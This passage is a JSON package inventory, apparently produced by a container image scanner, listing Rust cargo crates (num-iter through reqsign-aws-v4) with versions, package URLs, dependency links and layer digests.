"0.1.46", "DependsOn": [ "num-traits@0.2.19" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "num-iter@0.1.45", "Name": "num-iter", "Identifier": { "PURL": "pkg:cargo/num-iter@0.1.45", "UID": "c5f324024387be8c" }, "Version": "0.1.45", "DependsOn": [ "num-integer@0.1.46", "num-traits@0.2.19" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "num-rational@0.4.2", "Name": "num-rational", "Identifier": { "PURL": "pkg:cargo/num-rational@0.4.2", "UID": "2efa228d5a2446b6" }, "Version": "0.4.2", "DependsOn": [ "num-bigint@0.4.6", "num-integer@0.1.46", "num-traits@0.2.19" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "num-traits@0.2.19", "Name": "num-traits", "Identifier": { "PURL": "pkg:cargo/num-traits@0.2.19", "UID": "842e1567459a06b0" }, "Version": "0.2.19", "DependsOn": [ "libm@0.2.16" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "num_cpus@1.17.0", "Name": "num_cpus", "Identifier": { "PURL": "pkg:cargo/num_cpus@1.17.0", "UID": "c8360203e21c9b5" }, "Version": "1.17.0", "DependsOn": [ "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "oid-registry@0.8.1", "Name": "oid-registry", "Identifier": { "PURL": "pkg:cargo/oid-registry@0.8.1", "UID": "14ffd0e5655fb3ee" }, "Version": "0.8.1", "DependsOn": [ "asn1-rs@0.7.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "once_cell@1.21.4", "Name": "once_cell", "Identifier": { "PURL": "pkg:cargo/once_cell@1.21.4", "UID": "11df78ec6b01741" }, "Version": "1.21.4", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "open@5.3.5", "Name": "open", "Identifier": { "PURL": "pkg:cargo/open@5.3.5", "UID": "6a65626294cf6f2" }, "Version": "5.3.5", "DependsOn": [ "is-wsl@0.4.0", "libc@0.2.186", "pathdiff@0.2.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "openssl-probe@0.2.1", "Name": "openssl-probe", "Identifier": { "PURL": "pkg:cargo/openssl-probe@0.2.1", "UID": "22a7f5cb56db820f" }, "Version": "0.2.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "option-ext@0.2.0", "Name": "option-ext", "Identifier": { "PURL": "pkg:cargo/option-ext@0.2.0", "UID": "6e349e2eb85f16c8" }, "Version": "0.2.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ordered-float@5.3.0", "Name": "ordered-float", "Identifier": { "PURL": "pkg:cargo/ordered-float@5.3.0", "UID": "3e0d81699f716cd6" }, "Version": "5.3.0", "DependsOn": [ "num-traits@0.2.19" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ordered-multimap@0.7.3", "Name": "ordered-multimap", "Identifier": { "PURL": "pkg:cargo/ordered-multimap@0.7.3", "UID": "e30adcb97dcae0de" }, "Version": "0.7.3", "DependsOn": [ "dlv-list@0.5.2", "hashbrown@0.14.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ordered-stream@0.2.0", "Name": "ordered-stream", "Identifier": { "PURL": "pkg:cargo/ordered-stream@0.2.0", "UID": "aecef1790defb4b2" }, "Version": "0.2.0", "DependsOn": [ "futures-core@0.3.32", "pin-project-lite@0.2.17" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "os_str_bytes@6.6.1", "Name": "os_str_bytes", "Identifier": { "PURL": "pkg:cargo/os_str_bytes@6.6.1", "UID": "a34bccdd16e9062f" }, "Version": "6.6.1", "DependsOn": [ "memchr@2.8.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "owo-colors@4.3.0", "Name": "owo-colors", "Identifier": { "PURL": "pkg:cargo/owo-colors@4.3.0", "UID": "877afa30a76f052" }, "Version": "4.3.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "papaya@0.2.4", "Name": "papaya", "Identifier": { "PURL": "pkg:cargo/papaya@0.2.4", "UID": "f26a0b12a522749" }, "Version": "0.2.4", "DependsOn": [ "equivalent@1.0.2", "seize@0.5.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "parking@2.2.1", "Name": "parking", "Identifier": { "PURL": "pkg:cargo/parking@2.2.1", "UID": "f1e4eca75edfdaa7" }, "Version": "2.2.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "parking_lot@0.12.5", "Name": "parking_lot", "Identifier": { "PURL": "pkg:cargo/parking_lot@0.12.5", "UID": "6a7a662dae84e82f" }, "Version": "0.12.5", "DependsOn": [ "lock_api@0.4.14", "parking_lot_core@0.9.12" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "parking_lot_core@0.9.12", "Name": "parking_lot_core", "Identifier": { "PURL": "pkg:cargo/parking_lot_core@0.9.12", "UID": "bbdbb92f5429f5d0" }, "Version": "0.9.12", "DependsOn": [ "cfg-if@1.0.4", "libc@0.2.186", "smallvec@1.15.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "path-slash@0.2.1", "Name": "path-slash", "Identifier": { "PURL": "pkg:cargo/path-slash@0.2.1", "UID": "14dad0eddabe4e00" }, "Version": "0.2.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pathdiff@0.2.3", "Name": "pathdiff", "Identifier": { "PURL": "pkg:cargo/pathdiff@0.2.3", "UID": "83c8cd93c0bd3876" }, "Version": "0.2.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pbkdf2@0.12.2", "Name": "pbkdf2", "Identifier": { "PURL": "pkg:cargo/pbkdf2@0.12.2", "UID": "7aa6b978e504f58c" }, "Version": "0.12.2", "DependsOn": [ "digest@0.10.7", "hmac@0.12.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pem@3.0.6", "Name": "pem", "Identifier": { "PURL": "pkg:cargo/pem@3.0.6", "UID": "7583ca502ff00a4b" }, "Version": "3.0.6", "DependsOn": [ "base64@0.22.1", "serde_core@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pem-rfc7468@0.7.0", "Name": "pem-rfc7468", "Identifier": { "PURL": "pkg:cargo/pem-rfc7468@0.7.0", "UID": "a85d8504cfc7f29f" }, "Version": "0.7.0", "DependsOn": [ "base64ct@1.8.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "percent-encoding@2.3.2", "Name": "percent-encoding", "Identifier": { "PURL": "pkg:cargo/percent-encoding@2.3.2", "UID": "3265472cbcea9d37" }, "Version": "2.3.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pest@2.8.6", "Name": "pest", "Identifier": { "PURL": "pkg:cargo/pest@2.8.6", "UID": "a642cc0bbad42adc" }, "Version": "2.8.6", "DependsOn": [ "memchr@2.8.2", "ucd-trie@0.1.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pest_derive@2.8.6", "Name": "pest_derive", "Identifier": { "PURL": "pkg:cargo/pest_derive@2.8.6", "UID": "6f2b6b9d2e64e0ec" }, "Version": "2.8.6", "DependsOn": [ "pest@2.8.6", "pest_generator@2.8.6" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pest_generator@2.8.6", "Name": "pest_generator", "Identifier": { "PURL": "pkg:cargo/pest_generator@2.8.6", "UID": "32a7b1f44e923e2a" }, "Version": "2.8.6", "DependsOn": [ "pest@2.8.6", "pest_meta@2.8.6", "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pest_meta@2.8.6", "Name": "pest_meta", "Identifier": { "PURL": "pkg:cargo/pest_meta@2.8.6", "UID": "4ca99e8bd0dd431b" }, "Version": "2.8.6", "DependsOn": [ "pest@2.8.6", "sha2@0.10.9" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "petgraph@0.8.3", "Name": "petgraph", "Identifier": { "PURL": "pkg:cargo/petgraph@0.8.3", "UID": "694aabfd6bf6cc45" }, "Version": "0.8.3", "DependsOn": [ "fixedbitset@0.5.7", "hashbrown@0.15.5", "indexmap@2.14.0", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pin-project@1.1.11", "Name": "pin-project", "Identifier": { "PURL": "pkg:cargo/pin-project@1.1.11", "UID": "3e976884573018a6" }, "Version": "1.1.11", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pin-project-lite@0.2.17", "Name": "pin-project-lite", "Identifier": { "PURL": "pkg:cargo/pin-project-lite@0.2.17", "UID": "2a27f4e9f79d1aac" }, "Version": "0.2.17", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pkcs1@0.7.5", "Name": "pkcs1", "Identifier": { "PURL": "pkg:cargo/pkcs1@0.7.5", "UID": "41098e7b1ca77cff" }, "Version": "0.7.5", "DependsOn": [ "der@0.7.10", "pkcs8@0.10.2", "spki@0.7.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pkcs5@0.7.1", "Name": "pkcs5", "Identifier": { "PURL": "pkg:cargo/pkcs5@0.7.1", "UID": "6a452bb0064bed06" }, "Version": "0.7.1", "DependsOn": [ "aes@0.8.4", "cbc@0.1.2", "der@0.7.10", "pbkdf2@0.12.2", "scrypt@0.11.0", "sha2@0.10.9", "spki@0.7.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pkcs8@0.10.2", "Name": "pkcs8", "Identifier": { "PURL": "pkg:cargo/pkcs8@0.10.2", "UID": "6916e69ab7d99a4c" }, "Version": "0.10.2", "DependsOn": [ "der@0.7.10", "pkcs5@0.7.1", "rand_core@0.6.4", "spki@0.7.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "plain@0.2.3", "Name": "plain", "Identifier": { "PURL": "pkg:cargo/plain@0.2.3", "UID": "df678bc33a4f14cd" }, "Version": "0.2.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "portable-atomic@1.13.1", "Name": "portable-atomic", "Identifier": { "PURL": "pkg:cargo/portable-atomic@1.13.1", "UID": "4d39a8f02b0f3a85" }, "Version": "1.13.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "potential_utf@0.1.4", "Name": "potential_utf", "Identifier": { "PURL": "pkg:cargo/potential_utf@0.1.4", "UID": "399ebe747c5d0321" }, "Version": "0.1.4", "DependsOn": [ "zerovec@0.11.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "powerfmt@0.2.0", "Name": "powerfmt", "Identifier": { "PURL": "pkg:cargo/powerfmt@0.2.0", "UID": "34791b752acb1902" }, "Version": "0.2.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ppv-lite86@0.2.21", "Name": "ppv-lite86", "Identifier": { "PURL": "pkg:cargo/ppv-lite86@0.2.21", "UID": "a1c69327ca911b46" }, "Version": "0.2.21", "DependsOn": [ "zerocopy@0.8.42" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "predicates@3.1.4", "Name": "predicates", "Identifier": { "PURL": "pkg:cargo/predicates@3.1.4", "UID": "4e74acef63416de3" }, "Version": "3.1.4", "DependsOn": [ "anstyle@1.0.14", "difflib@0.4.0", "float-cmp@0.10.0", "normalize-line-endings@0.3.0", "predicates-core@1.0.10", "regex@1.12.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "predicates-core@1.0.10", "Name": "predicates-core", "Identifier": { "PURL": "pkg:cargo/predicates-core@1.0.10", "UID": "3223eace27b842e3" }, "Version": "1.0.10", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "predicates-tree@1.0.13", "Name": "predicates-tree", "Identifier": { "PURL": "pkg:cargo/predicates-tree@1.0.13", "UID": "de25cd6caec2792e" }, "Version": "1.0.13", "DependsOn": [ "predicates-core@1.0.10", "termtree@0.5.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "priority-queue@2.7.0", "Name": "priority-queue", "Identifier": { "PURL": "pkg:cargo/priority-queue@2.7.0", "UID": "edbe02d96d27e54f" }, "Version": "2.7.0", "DependsOn": [ "equivalent@1.0.2", "indexmap@2.14.0", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "proc-macro-crate@3.5.0", "Name": "proc-macro-crate", "Identifier": { "PURL": "pkg:cargo/proc-macro-crate@3.5.0", "UID": "e5e4d7366cc7c64f" }, "Version": "3.5.0", "DependsOn": [ "toml_edit@0.25.12+spec-1.1.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "proc-macro2@1.0.106", "Name": "proc-macro2", "Identifier": { "PURL": "pkg:cargo/proc-macro2@1.0.106", "UID": "4f8f6eb303de4bfb" }, "Version": "1.0.106", "DependsOn": [ "unicode-ident@1.0.24" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "procfs@0.18.0", "Name": "procfs", "Identifier": { "PURL": "pkg:cargo/procfs@0.18.0", "UID": "45f0011c84488819" }, "Version": "0.18.0", "DependsOn": [ "bitflags@2.13.0", "flate2@1.1.9", "procfs-core@0.18.0", "rustix@1.1.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "procfs-core@0.18.0", "Name": "procfs-core", "Identifier": { "PURL": "pkg:cargo/procfs-core@0.18.0", "UID": "4eb80b9ce715a8f4" }, "Version": "0.18.0", "DependsOn": [ "bitflags@2.13.0", "hex@0.4.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ptr_meta@0.3.1", "Name": "ptr_meta", "Identifier": { "PURL": "pkg:cargo/ptr_meta@0.3.1", "UID": "dfc39b66cbfd7fe" }, "Version": "0.3.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "purl@0.1.6", "Name": "purl", "Identifier": { "PURL": "pkg:cargo/purl@0.1.6", "UID": "fae77838a6249c0b" }, "Version": "0.1.6", "DependsOn": [ "hex@0.4.3", "percent-encoding@2.3.2", "thiserror@2.0.18" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pxfm@0.1.28", "Name": "pxfm", "Identifier": { "PURL": "pkg:cargo/pxfm@0.1.28", "UID": "9effc3a269e23813" }, "Version": "0.1.28", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "quick-xml@0.39.2", "Name": "quick-xml", "Identifier": { "PURL": "pkg:cargo/quick-xml@0.39.2", "UID": "9bf5237c648c9d43" }, "Version": "0.39.2", "DependsOn": [ "memchr@2.8.2", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "quinn@0.11.9", "Name": "quinn", "Identifier": { "PURL": "pkg:cargo/quinn@0.11.9", "UID": "2991d52be6ae5c4c" }, "Version": "0.11.9", "DependsOn": [ "bytes@1.11.1", "pin-project-lite@0.2.17", "quinn-proto@0.11.14", "quinn-udp@0.5.14", "rustc-hash@2.1.2", "rustls@0.23.40", "socket2@0.6.3", "thiserror@2.0.18", "tokio@1.52.3", "tracing@0.1.44" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "quinn-proto@0.11.14", "Name": "quinn-proto", "Identifier": { "PURL": "pkg:cargo/quinn-proto@0.11.14", "UID": "55f99e7f97f5541f" }, "Version": "0.11.14", "DependsOn": [ "aws-lc-rs@1.16.2", "bytes@1.11.1", "lru-slab@0.1.2", "rand@0.9.4", "rustc-hash@2.1.2", "rustls@0.23.40", "slab@0.4.12", "thiserror@2.0.18", "tinyvec@1.11.0", "tracing@0.1.44" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "quinn-udp@0.5.14", "Name": "quinn-udp", "Identifier": { "PURL": "pkg:cargo/quinn-udp@0.5.14", "UID": "f5ec3d121f7676ad" }, "Version": "0.5.14", "DependsOn": [ "libc@0.2.186", "socket2@0.6.3", "tracing@0.1.44" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "quote@1.0.45", "Name": "quote", "Identifier": { "PURL": "pkg:cargo/quote@1.0.45", "UID": "65f39a6b2089139b" }, "Version": "1.0.45", "DependsOn": [ "proc-macro2@1.0.106" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "quoted_printable@0.5.1", "Name": "quoted_printable", "Identifier": { "PURL": "pkg:cargo/quoted_printable@0.5.1", "UID": "37094f3bde7d4f84" }, "Version": "0.5.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rancor@0.1.1", "Name": "rancor", "Identifier": { "PURL": "pkg:cargo/rancor@0.1.1", "UID": "f903dc1066406b75" }, "Version": "0.1.1", "DependsOn": [ "ptr_meta@0.3.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rand@0.8.6", "Name": "rand", "Identifier": { "PURL": "pkg:cargo/rand@0.8.6", "UID": "6316945428f79e28" }, "Version": "0.8.6", "DependsOn": [ "rand_chacha@0.3.1", "rand_core@0.6.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rand@0.9.4", "Name": "rand", "Identifier": { "PURL": "pkg:cargo/rand@0.9.4", "UID": "ec7df19c269ff09e" }, "Version": "0.9.4", "DependsOn": [ "rand_chacha@0.9.0", "rand_core@0.9.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rand_chacha@0.3.1", "Name": "rand_chacha", "Identifier": { "PURL": "pkg:cargo/rand_chacha@0.3.1", "UID": "957df2805c35e232" }, "Version": "0.3.1", "DependsOn": [ "ppv-lite86@0.2.21", "rand_core@0.6.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rand_chacha@0.9.0", "Name": "rand_chacha", "Identifier": { "PURL": "pkg:cargo/rand_chacha@0.9.0", "UID": "8a10a436e0208c79" }, "Version": "0.9.0", "DependsOn": [ "ppv-lite86@0.2.21", "rand_core@0.9.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rand_core@0.6.4", "Name": "rand_core", "Identifier": { "PURL": "pkg:cargo/rand_core@0.6.4", "UID": "5dc679594fce9dc8" }, "Version": "0.6.4", "DependsOn": [ "getrandom@0.2.16" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rand_core@0.9.5", "Name": "rand_core", "Identifier": { "PURL": "pkg:cargo/rand_core@0.9.5", "UID": "f8d17d3c2761ac9c" }, "Version": "0.9.5", "DependsOn": [ "getrandom@0.3.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rayon@1.12.0", "Name": "rayon", "Identifier": { "PURL": "pkg:cargo/rayon@1.12.0", "UID": "518663d5bb615b96" }, "Version": "1.12.0", "DependsOn": [ "either@1.16.0", "rayon-core@1.13.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rayon-core@1.13.0", "Name": "rayon-core", "Identifier": { "PURL": "pkg:cargo/rayon-core@1.13.0", "UID": "aa59e967d28fef09" }, "Version": "1.13.0", "DependsOn": [ "crossbeam-deque@0.8.6", "crossbeam-utils@0.8.21" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ref-cast@1.0.25", "Name": "ref-cast", "Identifier": { "PURL": "pkg:cargo/ref-cast@1.0.25", "UID": "b0df625fa357e3d6" }, "Version": "1.0.25", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "reflink-copy@0.1.29", "Name": "reflink-copy", "Identifier": { "PURL": "pkg:cargo/reflink-copy@0.1.29", "UID": "ff4dedc157906234" }, "Version": "0.1.29", "DependsOn": [ "cfg-if@1.0.4", "libc@0.2.186", "rustix@1.1.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "regex@1.12.4", "Name": "regex", "Identifier": { "PURL": "pkg:cargo/regex@1.12.4", "UID": "67fcfe1d57f72f20" }, "Version": "1.12.4", "DependsOn": [ "aho-corasick@1.1.4", "memchr@2.8.2", "regex-automata@0.4.14", "regex-syntax@0.8.11" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "regex-automata@0.4.14", "Name": "regex-automata", "Identifier": { "PURL": "pkg:cargo/regex-automata@0.4.14", "UID": "344014a44c3f74dd" }, "Version": "0.4.14", "DependsOn": [ "aho-corasick@1.1.4", "memchr@2.8.2", "regex-syntax@0.8.11" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "regex-syntax@0.8.11", "Name": "regex-syntax", "Identifier": { "PURL": "pkg:cargo/regex-syntax@0.8.11", "UID": "7bc510e3e00eb5d1" }, "Version": "0.8.11", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rend@0.5.3", "Name": "rend", "Identifier": { "PURL": "pkg:cargo/rend@0.5.3", "UID": "11bf969ff70cbbf0" }, "Version": "0.5.3", "DependsOn": [ "bytecheck@0.8.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "reqsign@0.20.0", "Name": "reqsign", "Identifier": { "PURL": "pkg:cargo/reqsign@0.20.0", "UID": "ab08a8890bf64ea" }, "Version": "0.20.0", "DependsOn": [ "reqsign-aws-v4@3.0.0", "reqsign-azure-storage@3.0.0", "reqsign-command-execute-tokio@3.0.0", "reqsign-core@3.0.0", "reqsign-file-read-tokio@3.0.0", "reqsign-google@3.0.0", "reqsign-http-send-reqwest@4.0.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "reqsign-aws-v4@3.0.0", "Name": "reqsign-aws-v4", "Identifier": { "PURL": "pkg:cargo/reqsign-aws-v4@3.0.0", "UID": "1c8496a94e86bd2b" }, "Version": "3.0.0", "DependsOn": [ 